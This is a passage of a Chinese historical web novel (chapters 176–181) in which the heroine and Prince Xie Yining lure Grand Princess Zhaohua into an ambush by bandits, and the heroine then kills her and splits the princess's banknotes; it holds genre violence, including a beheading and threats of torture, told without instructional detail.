“王爷那时候在禁足……”晏逐星试图解释。 况且那时候她也不确定他对朝华大长公主究竟是什么态度,自然就想着将此事瞒下了。 “我是在禁足,不是死了。父皇可没说不许别人来看我。” 不知道是不是晏逐星的错觉,她怎么感觉永安王这话听起来带了些委屈和恼怒。 “是我错了,下回遇上这种事一定第一时间告知王爷。”晏逐星从善如流地道歉。 “毕竟王爷这般聪慧,肯定能想出更好的法子将人拿下。” 她趁机又夸了夸谢翊宁。 相处多次,她已经摸准了谢翊宁的性子。 永安王看着挑剔,实际上很好哄,夸两句他就会恢复笑容了。 果不其然,谢翊宁听到这话唇角上翘,明显心情就好了不少。 晏逐星瞧着他这模样,总觉得他和雪团儿有几分相似。 都说猫似主人,还真有几分道理。 想到谢翊宁私底下或许会和雪团儿一样伸懒腰在床上打滚,她就忍不住也翘起了唇角。 “算你有眼光。”谢翊宁端坐了身子,收敛笑意,询问起今夜之事。 晏逐星这回没有卖关子,把阿猫交代的事情全都说了出来。 “明宵?”谢翊宁对这个名字毫无印象。 晏逐星提醒:“通州,定慈观。” 谢翊宁当即想起来了。 定慈观被抓的妖道有一同伙叫明宵,当时回乡去了,据说是个手上沾过人命的凶神恶煞之徒。 当时裴明镜还以此为由,想让晏逐星保护他,一块跟他回京城。 “此人不好好躲着,竟然还敢找上门来杀你?”谢翊宁眸色瞬间变冷。 真是活得不耐烦了。 他当即扭头吩咐:“停云,照夜,明日按照约定时间,你们去会会这妖道,务必活捉……” “王爷且慢。”晏逐星开口打断了他的安排。 第176章 上一世怪事 “嗯?”谢翊宁疑惑地看着她。 “你不想活捉吗?那直接弄死也行。” 晏逐星哭笑不得。 “不,我留着他,有用。” “横竖那人不过是一具会喘气的皮囊罢了,能有什么用?”谢翊宁顿感好奇。 晏逐星犹豫片刻,还是把自己的想法说了出来。 “只有千日做贼没有千日防贼的道理,朝华大长公主一朝杀我不成,恐怕还会有第二次。” “倒不如将大长公主骗出来,让明宵来成为杀人凶手。” 到时候不管是朝华大长公主死了,或者是明宵死了,两人狗咬狗,对她都只有好处没有坏处。 谢翊宁仔细思索着她的话,而后摇了摇头:“时间太短,恐怕来不及将她骗出城去。” “不,只要跟她说一句话,她就一定会来。”晏逐星十分笃定。 “哦?什么话?” 晏逐星俯身凑到他耳边,温热的气息撒在他的耳廓,谢翊宁莫名就紧张了起来。 “届时,只需要告诉大长公主……” 一旁的停云和照夜急得抓耳挠腮。 要告诉大长公主什么? 倒是让他们也听听呀。 晏逐星说完坐回了椅子上。 谢翊宁心头那股异样的感觉顿时消散了几分。 他点了点头:“言之有理,这么说姑母肯定会来。只是时间太紧,咱们该怎样才能让这事看起来与我们无关呢。” 毕竟时间实在是太短了。 一日的功夫布好一个必杀局,是有些难。 “我想请王爷帮我打听打听近来京中是否发生了什么怪事。若是有,或许可以用得上。”晏逐星自己想不起来上辈子上巳节发生了什么事,但可以让谢翊宁去帮忙查。 “得把京城这潭水搅浑了,大长公主的死才不会显得那么奇怪。” “怪事?”谢翊宁听她提起这事,便绞尽脑汁想了起来。 这一世,他被禁足,并未太过留意过京城里发生了什么事。 他只得去回想上辈子的事情。 上巳节。 怪事。 “还真有!”谢翊宁猛地想了起来。 想到是什么事情,他顿时皱紧了眉头。 “是什么事?”晏逐星见他表情不对,忍不住追问。 谢翊宁没有马上回答她,脑子里全是上辈子上巳节发生的事情。 陆太傅家的小孙女,陆…… 陆什么? 谢翊宁一时间想不起来。 但他记得,上一世,好像她就是在上巳节那天出的事。 那天京城里的小姐们都出城踏青去了,热闹得很。 可不知道怎么搞的陆太傅的小孙女被落下了,一个人困在城外。结果遇上了山里的那帮杀千刀的匪徒,把好好一个姑娘家给糟蹋了。 这事儿传到陆太傅耳朵里,老头子气得差点背过气去,二话不说派人把那群畜生全宰了,然后自己跑到宫里跟父皇请罪。 谢翊宁也是那时候才知道就在京城边上的象山里头,居然还藏着这么一窝无法无天的禽兽。 陆太傅是拼了命想把这事捂住,可世上哪有不透风的墙。 风言风语还是像长了脚似的在京城里传开了。 没过多久,陆家小孙女就没了。 她一死,她那个已经嫁给寒门状元傅寒松的长姐陆壁君,红着眼杀回了太傅府。 也不知道她用了什么法子,硬是逼得那位陆太傅把后娶的那个继夫人蔺氏给打发回了老家,好像回了老家没多久,蔺氏就身亡了。 直到后来母后提起可惜了,他才知晓,母后属意陆家小孙女当他的正妃。 正因为此事,蔺氏生了歪心思,想将陆家小孙女毁了,好让她的嫡亲孙女取而代之来当永安王妃。 重活一世,变数太多。 母后似乎已经放弃撮合他和陆太傅的小孙女了,或许这一回上巳节,她不会出事了。 不过那窝匪徒还是得剿。 就算他们没祸害陆太傅的孙女,也会祸害其他百姓。 见他迟迟不语,晏逐星也不急,一直安静地在一旁等着。 许久后,谢翊宁方才开口。 “京郊象山上,似乎有一窝匪徒。” “匪徒?”晏逐星一愣,而后眼睛一亮。 谢翊宁看着她的眼神,便知道她是怎么打算的了。 “你想让那群匪徒来杀了朝华姑母?” 晏逐星点头。 匪徒可比明宵好用多了。 先让大长公主帮她除了明宵,再让匪徒帮她除了大长公主。 一箭双雕。 届时说不定还能让谢翊宁捞一个剿匪的功劳。 谢翊宁沉声道:“是个好主意。但先不要冲动,待本王加急派人去查探这群匪徒的来历再说。” “好。”晏逐星点了点头。 两人又完善了一下整个计划。 他们要的就是打朝华大长公主一个措手不及。 这位尊贵的长公主殿下绝想不到,在她眼中渺小如尘芥、本该在追杀下惶惶如丧家之犬的晏逐星,竟敢如此迅疾地对她亮出獠牙。 在她那高高在上的认知里,蝼蚁只配东躲西藏的逃窜,绝不可能有反击的胆魄。 他们利用的就是她这份傲慢与轻蔑。 正如那群匪徒就盘踞在天子脚下的象山,却无人察觉。 “灯下黑。” 两人脑海里同时浮现出了这个词。 * 谢翊宁悄悄地来,也悄悄地走,没有惊动任何人。 晏逐星杀了人之后,九栀还担心她会不会睡不好,没想到她沾床就睡。 不仅如此,翌日清晨还吃了一大碗面,丝毫没有被影响的意思。 和她有一样想法的还有谢翊宁。 怕晏逐星会受那两具尸体的影响,还命季太医来了一趟,让季太医给她开一些安神的药。 季太医手指头刚搭上去没两息就撤了。 衔蝉和双鲤紧张地询问:“季太医,我家小姐如何了?可有受到惊吓?” 季太医撇撇嘴道:“吓着?我看她精神头足得能上山打虎!安神药?留着给需要的人吧!” 晏逐星有些无奈地看着她们:“都说了我没事。” “没事就好,没事就好。”衔蝉长长地吐了一口气。 季太医正欲拎着药箱离开,晏逐星就叫住了他。 “不过,季太医来都来了,您帮我演一场戏吧。” “又演什么戏?”季太医警惕地盯着她。 “嘿嘿,一点点小忙。”晏逐星狡黠一笑。 最后在衔蝉新鲜出炉的三鲜包子的攻势下,季太医答应了帮忙。 若今日有人打探她的身体,就说她昨夜受了重伤。 随后衔蝉哭丧着一张脸将季太医送走了,伪装出一副悲痛欲绝的模样。 关上门后,她忍不住问双鲤:“我方才演得如何?” “蛮好的。”双鲤点了点头,表示认可。 “若明宵能看到,定然会信以为真。” 整个晏宅都安静了下来,再无人出门。 午饭后,晏逐星正在看书,九栀就拿着一封信急匆匆地赶来了。 “小姐,永安王那边递消息来了。” 第177章 公主与匪徒 “王爷怎么说?”晏逐星迫不及待地追问。 九栀将信递给了她。 晏逐星打开快速翻看,看完上边的内容不禁感慨一句真是天助她也。 信上说,永安王的人已成功潜入象山,捉住了一个落单的匪徒撬开了他的嘴。 供词里抖露出来的真相,让晏逐星心下忍不住叹息。 原来盘踞在象山的那伙亡命徒,竟是因为朝华大长公主而起。 这帮人,从前都是象山脚下老实巴交的庄户人家。 只因前两年,朝华大长公主看上了象山南麓那片风水绝佳的缓坡地,要圈起来给福安郡主建一座避暑的别庄。 公主府那些狗仗人势的家丁压根不管什么王法地契,强行驱赶了农户不说,补偿给的那点银子还不够塞牙缝。 有那硬骨头不肯搬的,直接被推平了房屋,当场被打断了一条腿。 寒冬腊月里,农户们拖家带口被赶出祖祖辈辈生活的家园,冻死饿死的都有。 活路断了,他们便只得落草为寇。 起初,他们只为活命,不过是摸点偷点口粮,填饱肚子便罢手。 可贪念如同野草,一旦生根便疯长。 抢掠的胆子肥了,心肠也硬了。 最终从偷粮的贼变成了夺命的匪,每个人手上都染了血,再不是当初只为一口饭的可怜人。 晏逐星心下有些唏嘘。 她将信烧了,看向九栀:“可以了,按照之前说好的,城门落下两刻钟前,让人去一趟公主府。” 吩咐完后,她便低调地换了身衣裳,悄悄去了定远侯府。 * 大长公主府外,一个小乞儿敲响了公主府的角门。 管事的婆子闻声出来,瞧见他那一副衣衫褴褛的模样,脸上顿时流露出嫌恶的表情。 她厉声呵斥道:“敲什么敲!这是你能敲的地方么?肮脏的小东西,滚远些!仔细污了公主府的地界!” 小乞儿压根不在意她的恶言相向。 他怀里揣着沉甸甸的铜钱,拿人钱财就得替人消灾。 他猛地将怀里那封带着点汗渍的信,狠狠往管事婆子怀里一塞,扯着嗓子高声嚷道:“是关于福安郡主的事情!这封信若是不立刻交到大长公主手上,你就死定了!” 大声嚷嚷完,他像只受惊的兔子转身就钻进了巷子深处,眨眼不见了踪影。 那声“福安郡主”如同一个惊雷,轰得管事婆子张妈妈瞬间魂飞魄散。 她捏着那封仿佛烫手的信,手指控制不住地哆嗦了起来。 福安郡主! 那可是大长公主心尖尖上的宝贝,也是如今公主府最大的忌讳。 谁敢提? 张妈妈背后瞬间冒出了冷汗。 她顾不得嫌弃信纸的肮脏,也顾不上细想这小乞儿的来历,脑子里只剩下一个念头: 这封信,必须立刻、马上送到长公主眼前。多耽搁一刻,她这项上人头怕是要搬家了。 张妈妈转身就揣着信往大长公主的院落里跑去,将信交给了大长公主的贴身侍女香芷。 “殿下,先前外院来了个小乞儿,有信要交给您,说是……关于福安郡主的。”香芷忐忑地开口。 朝华大长公主听到这话,手里拿着的花枝瞬间被掐断在手心,黏糊的汁液让她感到一片恶心。 “拿来。”她语气平静,但眼里的愤怒却是怎么也藏不住。 香芷不敢耽搁,赶忙将信递了上来。 朝华大长公主打开一看,上边只有简单的两句话: “想知道福安郡主临死前说了什么吗?” “今夜丑时,带上一万两银票,独自来城外废弃李家宅院。” 大长公主瞳孔骤然一缩,怒意顺着脊椎瞬间窜遍全身。 谁那么大胆,竟然敢威胁她? “好大的胆子。” 她手中的信纸瞬间被揉成了皱巴巴的一团,尤嫌不够,她还恶狠狠的用那封信擦掉了手上的汁液,而后重重砸到了地上。 一旁的香芷瑟瑟发抖。 信上究竟写了什么内容,让殿下这般愤怒。 “信是何人送来的?”朝华大长公主从齿缝中挤出一句话。 “奴婢不知,据张妈妈说,是一个小乞儿,脸脏兮兮的看起来约莫五六岁的年纪。”香芷赶紧回答。 “把他找回来,京中所有符合年纪的乞儿都给我抓过来。城门落下前,我一定要见到他。”朝华大长公主咬牙切齿地下令。 京城中的乞儿少说有几十个,多了可能还有上百个。 那群乞儿狡猾得像泥鳅,东躲西藏的,难找得很。 马上就要关城门了,哪里来得及找到人。 接到命令的下属苦不堪言。 驸马握住了朝华大长公主的手:“朝华,冷静,这一定是圈套,你不能去。” “本宫知道。”朝华大长公主深吸一口气。 就算是圈套,她也要去。 她太想知道女儿临死前,究竟说了什么。 “可是……”驸马还要劝。 朝华大长公主就不耐烦地打断了他:“放心,本宫不傻。” “他让我独自去,我就真一个人去?你派人暗中跟着,本宫也会带上暗卫。” 她眼中闪过一抹厉色,冷笑一声。 “想杀本宫?痴心妄想!本宫要让他知道什么叫自作孽,不可活。” 驸马总觉得这封信来得太蹊跷,摆明了就是圈套。 说不定对方压根不知道福安最后说了些什么,就算知道也可能是编出来的。 可如今朝华已经被这封信刺激得快要疯魔了。 他若阻止,定然会影响夫妻二人的感情。 他叹了一口气,点点头:“好,那便依你所言。” 也罢。 对方能有多少人。 朝华带上公主府的暗卫,寻常人等应该伤不了她分毫。 正好可以看看是谁在暗中捣鬼。 “晏逐星呢,她在做什么?”朝华大长公主忽然发问。 负责盯梢的人赶忙站出来回应:“回殿下,今日未时她便悄悄离开了晏宅,去了定远侯府。” “期间她的丫鬟去了定远侯府邻近的几户人家都送了东西。而后就一直呆在侯府没有出来了。” 驸马和朝华大长公主齐齐皱起了眉头,异口同声道:“送的什么东西?” 第178章 今夜宰肥羊 “回殿下,是些素色香囊。”下属答道。 “说是侯爷新丧,晏大小姐心中悲痛,亲手缝制了安神香囊分送邻里,感念他们往日对侯爷的照拂,也为侯爷祈福。” 朝华大长公主只觉得此事透着说不出来的古怪:“一直没出来?侯府此刻什么情形?” “侯府在骆氏的打理下,如今如同铁桶一般,和从前四处漏风的情形不大一样了。属下进不去,只听说晏大小姐在祠堂给定远侯诵经祈福。” 下属紧张地回答,生怕这个答案让大长公主不满,触怒了她。 朝华大长公主和驸马对视一眼,难不成这信不是晏逐星让人送来的?那日在场的还有别的人? 也对。 朝华大长公主猛地一凛。 晏逐星一个人怎么可能杀得了福安,她身边可是有四个她精心挑选过的护卫。 一定有人帮她。 朝华大长公主第一时间想到的就是谢翊宁。 她忍不住又问:“永安王那边呢?可有什么异常?” “没有。永安王还是和往常一样,没什么区别。”另一个下属赶忙站出来回答。 “朝华,要不还是算了吧。这事我总觉得有些古怪。他们俩都没动静,这不正常。”驸马改了主意,一把拉住了朝华大长公主的手。 “不能就这么算了。”朝华大长公主甩开了他的手。 “本宫才不会怕了那种藏头露尾的宵小之辈。” 她脸上的表情变得愈发凌厉。 “朝华……” 驸马心里越来越不安,还想要劝,但是对上朝华大长公主毅然决然的眼神,他便放弃了。 他知道,朝华大长公主一旦做了什么决定就不会轻易动摇。 “兰亭,今夜你在公主府,等我回来。”朝华大长公主定定地看着他,语气难得温柔了几分。 “我去替咱们的女儿报仇,你在府里备着好酒等我回来。” 她伸手抚上驸马鬓边垂下的发丝。 “届时,本宫一定会割下那人的脑袋,拿回来当下酒菜,祭奠福安的在天之灵。” “好。”驸马最终还是答应了下来。 因为再不出门,城门就要关了,他们就更来不及排查那座荒废的李家宅子里到底有没有陷阱了。 朝华大长公主换上了一身轻便的衣裳,拿上了一万两银票,连侍女也没带,只让车夫驾车带着她出了城。 公主府的暗卫乔装打扮,护在她身后,一前一后地出了城。 朝华大长公主出城的消息,第一时间传到了晏逐星和谢翊宁的耳朵里,两人当下便知,这事已经成了一半。 另一半,还得他们亲自补全。 * 定远侯府祠堂内,烛火昏黄。 九栀身披素白孝衣,深深跪伏在供奉着定远侯牌位的供桌前。 宽大的兜帽几乎将她整张脸都遮盖在阴影里,只露出一点苍白的下颌。 衔蝉和双鲤一左一右,安静地陪跪在她身侧。 一切都在按照计划进行着。 城门关闭前的整个下午,跪在这里的确实是晏逐星本人。 衔蝉挨家挨户给邻近府邸送去素色香囊,言辞恳切:“此乃我家小姐亲手缝制,感念诸位高邻往日对侯爷的照拂,也为侯爷在天之灵祈福。” 这下左邻右舍都知晓晏大小姐今日在侯府守孝了。 有那收了香囊、感念其孝心的人家遣仆妇回礼或亲自登门致哀,踏入祠堂时,看到的正是晏逐星虔诚的身影。 她对着定远侯及列祖列宗的牌位低声诵经,一次次深深叩首。 看到这一幕的邻居都对晏逐星改观了不少。 “看来过往传言并不可信啊,这大小姐这般至纯至孝之人,实属难得。” “是啊,温氏拐带了她,她却没有因此怨恨定远侯,倒是个恩怨分明的姑娘啊。” 众人议论着离开,晏逐星依旧不动声色地诵经叩拜。 替换发生在一刻钟前。 在林管家的有意掩护下,晏逐星悄悄离开了定远侯府没有被任何人发现。 此刻跪在牌位前用兜帽遮面的是身形与她有几分相似的九栀。 她穿着晏逐星下午穿着的孝衣,维持着相同的跪姿,衔蝉和双鲤依旧在旁,构成一幅大小姐仍在守孝的完整画面。 众人得了当家主母和管家的吩咐,知道大小姐在祠堂为侯爷守孝,无人会去打扰,更不会细看兜帽下的容颜。 只要无人刻意近前辨认,晏逐星便从未离开过。 “九栀姐姐,你不跟着小姐去,真的能行吗?”双鲤忧心忡忡地开口。 不等九栀回应,衔蝉便快速压低声音回应:“有王爷在呢,肯定没问题的。” “这倒也是。”双鲤长长舒了一口气。 “王爷那么厉害,小姐肯定会平安回来的。” 此时,被丫鬟们惦记着的晏逐星和谢翊宁紧随朝华大长公主的马车去到了城外。 象山上那群匪徒,也已经得了“叛徒”的暗示,知晓今夜丑时在废弃的李宅会有京中富家千金与情郎私奔,带了大量的金银细软。 他们当即决定,大半的人都下来“宰肥羊”。 到时候方便把东西搬回山上去。 朝华大长公主将马车停在了李宅正门前。 眼前是荒废已久的李宅。 残破的门楼在昏昧的天光下投下深重的阴影。 一扇厚重的木门早已不翼而飞,另一扇则斜挂着,要掉不掉,随着夜风来回晃动,发出刺耳的嘎吱声。 院墙多处坍塌,露出内部剥蚀的砖石和半人高的枯草与荆棘。 整座宅邸只剩下断壁残垣的轮廓。 清冷的月光稀薄地铺洒在瓦砾和杂草上,透露着死气沉沉的荒凉。 跟在朝华大长公主身后的暗卫先一步入内查探,确认里边无人也无陷阱后,方才出来回禀。 “殿下,一切正常。” 朝华大长公主半眯着眼眸,脑海中盘旋着各式各样的念头。 难不成,那人真就只是为了钱财而来? “嗯。”她微微颔首,嘴里吐出了冰冷的一句话。 “本宫要那人有来无回,你明白吧?” 暗卫当即点头应声:“属下明白。” 不一会儿,朝华大长公主带来的六个暗卫以及十个护卫就潜入了李宅隐藏了起来,随时等候她下令。 谢翊宁和晏逐星将她带来的人尽收眼底。 一共十六人,全都是个中高手。 看来朝华大长公主是铁了心想要将今夜出现的人给杀死啊。 “别怕,本王的人也在。”谢翊宁以为她在紧张,低声安慰。 “有王爷在,我有什么好怕的。”晏逐星扭头冲他笑了笑。 朝华大长公主带来的人是有些本事,但永安王手里的更是精锐中的精锐。 今夜他们一定会赢。 如今他们要做的就是耐心等待,等到朝华大长公主的人被消耗了,他们再入场收割他们的性命。 朝华大长公主浑然不觉自己的一举一动都在被人监视着。 她坐在马车里,闭目养神。 直到丑时将近,她方才下马车走进李家宅院。 她站在院落中央,冷冷地盯着院子里的断壁残垣。 这时,不知道从哪个角落里,忽然响起了三声猫叫。 第179章 不是晏逐星 这三声猫叫出现得很突兀,是个人都能听出来不对劲。 朝华大长公主没有迟疑,沉声道:“拿下!” 话音一落,数道黑影刹那间就将猫叫声的来源处团团围住。 躲藏在断墙后的明宵被这突如其来的变故惊得下意识想要逃。 他正要跑,一个暗卫便伸手狠狠扣住他的后脖颈,将他整个人从藏身处硬生生地拽了出来。 整个过程发生在电光火石之间,明宵只觉得眼前一花,再一睁眼,他就已经跪在了朝华大长公主面前。 朝华大长公主死死盯着明宵。 竟然不是晏逐星? 而是一个她从未见过的道士。 “朝华大长公主?”看清她的脸时,明宵大吃一惊。 他等的不是阿猫阿狗么,怎么朝华大长公主会出现在这里? 今日他悄摸去城中打探,瞧见太医去了晏宅,又看到晏逐星的丫鬟满脸忧色,便以为此事成了一大半。 准备夜里接头时仔细询问情况,谁曾想来的竟然不是阿猫阿狗,而是他根本惹不起的朝华大长公主! 朝华大长公主将腰间的剑拔出,直指跪在地上的明宵,语气森然:“你费尽心思让本宫来这李宅,若你待会说不出福安的临终遗言,你就可以去给她陪葬了。” “殿下饶命啊!” 明宵吓得魂飞魄散,声音都在抖。 “小人冤枉!真不知怎么回事,小人只是来等人的啊!” 福安郡主的临终遗言是什么东西,他怎么会知道。 “等人?” 朝华大长公主凤眸眯起,拔出腰间的剑直指明宵的脖子。 “等什么人?” 察觉到脖子上的寒意,明宵脑袋瞬间清醒了不少。 他竹筒倒豆子般将他如何花钱雇凶,约定在此验收晏逐星尸体并支付尾款的事全抖了出来。 他语速快得像连珠炮,生怕说慢一个字,朝华大长公主的剑就会割掉他的脑袋。 “雇凶杀晏逐星?在此验收?”朝华大长公主重复着这几个字,眼里闪过一丝被愚弄的愤怒。 晏逐星竟然用这样卑劣的诱饵将引她来这荒僻之地,见这么一个连雇杀手都失败了的废物道士?! “既然你什么都不知道,那便去死吧。”朝华大长公主的声音阴沉得可怕。 察觉到她身上浓重的杀意,明宵惊声尖叫了起来:“殿下等等!小人懂道法,能让您见到福安郡主亲自问……” 他求饶的话还没说完,脑袋就离开了身体,滚落在了地上。 至死,他都没有瞑目。 朝华大长公主低头看自己的裙摆,发现上边竟然溅到了明宵的血,心中怒火翻腾,杀意更甚。 一个贱民的血,竟然弄脏她的裙子? “处理掉。” 她冷冰冰的下了命令,看也没看地上的尸首一眼,甩掉剑锋上的血珠正欲离开。 就在她转身的那一刹那,宅院那本就摇摇欲坠的破门被猛地撞开。 “哈哈,兄弟们快瞧,果然有肥羊!那小娘们跟野汉子私奔,肯定带了不少细软!” 一个粗嘎的狂笑声响起。 “哇,要发了要发了,干完这一票,老大你可得给咱们买酒喝啊。” 几十条人影笑骂着冲了进来。 为首一个满脸横肉的汉子,举起手中的斧头,指向朝华大长公主和她身边的护卫,高声下令:“男的宰了!女的绑了!财货都是咱们的!” 这突如其来的变故让空气瞬间凝固。 朝华大长公主心中的怒火正无处发泄,此刻竟有不知死活的蠢贼撞上门来。 她怒极反笑:“一群不知死活的东西,都杀了。” “保护殿下!” 暗卫首领厉喝一声,早已蓄势待发的护卫们如离弦之箭般扑了上去。 听到“殿下”二字,山匪们顿时慌了神。 哪个殿下? 不是说今夜的人是个无权有钱的富家千金么。 领头的山匪正欲询问,但对面的刀剑已经逼了过来,他们不得不应战。 一时间,荒废的庭院变得热闹了起来。 刀斧的劈砍声、匪徒的惨叫声和他们的怒骂声混做了一团。 朝华大长公主被暗卫护在最中央,举着火把冷冷地看着眼前的一幕。 “是朝华大长公主!” 山匪中有人认出了她。 而后,原本被打得畏畏缩缩的山匪听到这个名字,忽然爆发出了全身的力气。 “竟然是她?” “他娘的,干死她!” “贱女人,老子跟你拼了。” 朝华大长公主听到这些怒骂声,气得浑身发抖。 活了这么多年,还是头一次有人敢当着她的面说这些污言秽语,骂她是贱女人。 晏逐星从哪里寻来的人,他们怎么会不怕她,反而恨不得她死? 山匪们带着一身蛮力和凶悍,毫无章法地和护卫们缠斗在了一起。 他们打起架来如同乱撞的野猪,不要命了,只顾着冲向朝华大长公主的位置。 护卫们感觉自己砍得刀都要变钝了。 打斗很激烈,结束得也很快。 一群乌合之众自然比不过训练有素的护卫,但蚂蚁再小,多了,也能咬下大象的一块肉。 地面上横七竖八躺满了山匪的尸体,其中还夹杂着几个长公主府护卫。 空气里的血腥味浓得几乎化不开。 朝华大长公主面无表情地看着满地狼藉,眼中的怒火因为这场意外的损失燃烧得更加炽烈。 她的人,本不该死在这种贱民的手里,更不该死在这荒无人烟的废弃宅院中。 一切都是晏逐星的错。 “晏、逐、星。” 她咬牙切齿地从口中吐出了三个字。 这时,一个轻快的声音从院外响了起来。 “嗯,公主殿下,我在呢~” 本该在定远侯府里跪着的晏逐星,笑眯眯地出现了。 第180章 大长公主死 朝华大长公主瞳孔猛地一缩,脸上满是错愕,脱口而出:“你竟然还敢来?” 她完全没想到,晏逐星竟然敢这样大摇大摆地出现在她面前。 她不怕死吗? “当然要来了,不然你准备好的银票不就便宜别人了么。”晏逐星眨巴着眼,笑容天真无邪。 她的笑容越灿烂,朝华大长公主的怒火就越旺盛。 “那你也得有命花才行。”她磨了磨后槽牙。 待会她要让人活捉晏逐星。 然后用最钝的刀,一刀一刀,将她那让人恶心的脸皮给剥下来。 然后敲断她的每一根骨头,将她锁在暗无天日的水牢里,让毒虫啃噬,让秽物浸泡,日复一日的受尽折磨。 求生不得,求死不能。 敢愚弄她,敢伤她的福安,就要付出代价。 朝华大长公主怒喝出声:“拿下她,本宫有话要问。” “姑母,动本王的人之前,是不是应该先问问我的意见?”站在后边看了半天戏的谢翊宁,慢悠悠地走了出来。 原本正欲行动的暗卫瞧见谢翊宁,都迟疑了片刻。 这可是永安王啊。 看到谢翊宁,朝华大长公主的心沉了沉。 她知道,今夜不是她死,就是谢翊宁和晏逐星死。 “永安,你疯了吗,带着她来截杀本宫?”她冷冷看向谢翊宁,“本宫可是太后的嫡亲女儿,更是皇上的姐姐。你要为了一个女人对姑母刀剑相向吗?” 晏逐星听到这话,心下一紧,下意识地看向了谢翊宁。 虽然谢翊宁说过会站在她这边替她复仇。 但如今面对面站着,她还是会有些担忧谢翊宁会被朝华大长公主说服。 谢翊宁笑着挑眉:“姑母说的什么话。本王何时带人截杀你了?分明是山匪作乱,姑母不幸殒命。” 朝华大长公主听到这话,便知道此事再无转圜的余地。 正欲下令杀了他们,几十只箭矢却不知道从什么地方射了出来。 朝华大长公主的人猝不及防,顿时又死了好几个。 她神色大变,没想到谢翊宁他们竟然不讲武德搞偷袭。 她愤怒下令:“杀了他们。” 话音落下,余下的暗卫不再犹豫。 谢翊宁带来的人也跳了出来。 双方纠缠到了一块,打得难舍难分。 “先杀晏逐星。”朝华大长公主果断下令。 她看清了今日这出戏。 谢翊宁是为了晏逐星而来。 那么杀了晏逐星,一定比杀了谢翊宁本人更让他痛苦。 听到她的命令,谢翊宁眼眸暗了暗。 “一个不留。”他也沉声吩咐。 今夜不能有任何一个漏网之鱼。 事情要做,就要做干净。 “是。”照夜和停云打头阵。 谢翊宁亲自护着晏逐星。 不曾想,暗卫攻打而来时,晏逐星却一把推开了他。 “王爷当心。” 谢翊宁:“……” 好的,晏逐星不需要他护着。 于是他便也利落地跟着动手了。 他大可以站着不动,但那样太耽误时间。 早点杀完,早点回城。 他记得先前看戏时晏逐星说了,回城时想吃城门口的那家清汤面。 万一耽误了,那可就吃不上了。 他可是听说了,那家面卖得很好,每日只卖一个时辰,过时不候。 看着晏逐星在暗卫手下逃脱了机会,朝华大长公主的脸色越来越难看。 她总算知道那日派去的四个暗卫为何回不来了。 晏逐星比她想象的要更难杀一些。 “走。”眼看她的人落了下风,朝华大长公主知道继续待下去死的只会是她,因而当机立断下令让人掩护她撤退。 “诶,别急啊,你不想知道福安郡主临死前说的最后一句话是什么吗?”晏逐星见她要走,大声喊了起来。 朝华大长公主脚步一顿,回过头来,眼里是滔天的恨意。 “福安说了什么?” 晏逐星没有回答,继续和暗卫缠斗。 杀她的人最多,照夜和停云自觉地挡在了她身前。 “你说话啊,福安临死前究竟说了什么?”朝华大长公主愤怒大吼。 晏逐星充耳不闻,依旧没有回答她。 朝华大长公主的理智告诉她该离开了,但脑海里却一直冒出一个念头:杀了她,一定要杀了她。 “殿下,咱们得走了。”暗卫首领瞧见他们的人只剩两个还在负隅抵抗,若是再耽误下去,就真的走不了了。 “走。” 最终还是理智占了上风,朝华大长公主含恨离开。 她刚翻身上马,身形未稳,箭矢却追着疾风而来,射中了马的臀部。 胯下骏马惊嘶一声,将她狠狠掀下马背。 朝华大长公主重重摔落在地,尘土四溅,那张向来精致冷艳的脸庞瞬间被污泥所沾染。 “殿下!” 暗卫首领惊喝,不顾一切扑来想要相救。 但第二支利箭紧随而来,贯穿了他的胸膛。 他魁梧的身躯猛地一震,眼中神采瞬间熄灭,直挺挺地砸倒在朝华大长公主面前。 四周刀剑交击的厮杀声骤然停歇,死寂如同潮水般涌来。 朝华大长公主伏在冰冷的尘土中,急促地喘息。 她甚至能闻到泥土的腥气和浓重的血腥味。 就在这时,一双绣鞋踏过血污与尘埃,稳稳地停在了她的眼前。 不用抬头,她也知道是晏逐星来了。 她一生中最狼狈的时刻竟然被最恨的人看见了。 “晏逐星,你若敢杀本宫,母后一定不会……”她抬起头,想要放狠话震慑住他们。 但她的威胁还没说完就卡在了喉咙里。 因为晏逐星一剑刺穿了她的心脏。 她没想到,她看不起的下等人,竟然真的敢这么干脆利落地就杀掉她。 “抱歉,大长公主,我不想死,所以只能是你死了。” 晏逐星将剑在她心口拧了一圈,确保她真的死透了,这才蹲下身子去搜她的身。 拿到了朝华大长公主随身携带的一万两银票,晏逐星的脸上总算露出了笑容。 在场所有永安王府的暗卫:“……” 这姑娘是不是太凶残了点。 刚杀完人就数钱,看着怎么跟土匪似的? “今夜辛苦诸位大哥啦。” 晏逐星借花献佛,直接把这银票当场就分了。 一人二百两。 在场一共十人。 两千两银票瞬间分完。 晏逐星脸上的笑容瞬间就转移到了他们脸上。 一个个都喜气洋洋地冲晏逐星道谢:“多谢大小姐。” 什么土匪,这明明是他们的财神爷! 谢翊宁默默盯着她分钱,没想到,她分了一圈,竟然没给他分。 虽然他不缺这点银子,但他就是很不高兴。 谢翊宁抿着唇,紧紧盯着晏逐星。 第181章 早就帮过她 结果下一刻,晏逐星就转过身来将剩下的八千两银票全都塞到了他手里。 “全给我?”谢翊宁心底陡然升起了难以言说的喜悦。 赏银他拿过无数,但还是头一回那么开心。 “嗯,都给王爷。如果没有王爷帮忙,我今日不可能会成功。”晏逐星郑重点头。 “行了,你自己留着吧,本王不缺这点银子。”谢翊宁笑着将银票塞回了她手里。 周围的暗卫盯着那些银票,在心里尖叫:什么叫这点银子?他们可能这辈子都攒不到这么多银子啊!!! 王爷不缺他们缺,给他们啊!!! “这太多了……”晏逐星还想推拒。 谢翊宁就说出了一句让她震惊到无法拒绝的话。 “之前给你的一万两银票,你不是也收下了么。这不算什么。” 一万两银票? 晏逐星猛地反应了过来。 “我还以为那是皇后娘娘赏的……” 她呆住了。 原来那么早他就已经在帮她了么。 可那个时候他们分明没见过。 “王爷瞧见您被定远侯他们欺负,特意入宫找皇后娘娘给您撑腰。”一旁的停云赶忙补充。 “定远侯府之前有一次院子着火,就是王爷命我干的。” 晏逐星目瞪口呆。 全然没想到当时瑶华院着火竟然和谢翊宁有关。 “行了,都过去的事了,有什么可说的。”谢翊宁瞥了停云一眼。 停云默默闭上嘴退了回去。 “既然我已经拿过王爷的银票了,那这笔钱就更不能收了。”晏逐星十分坚决。 谢翊宁没想到自己说的话成了反效果。 他眉头微蹙,正欲说什么,一旁的照夜就开口:“王爷,要不您收下吧。大长公主取的银票,在京城里大小姐也花不出去。” 这些银票是朝华大长公主名下开具的,每张都有独一无二的票号。 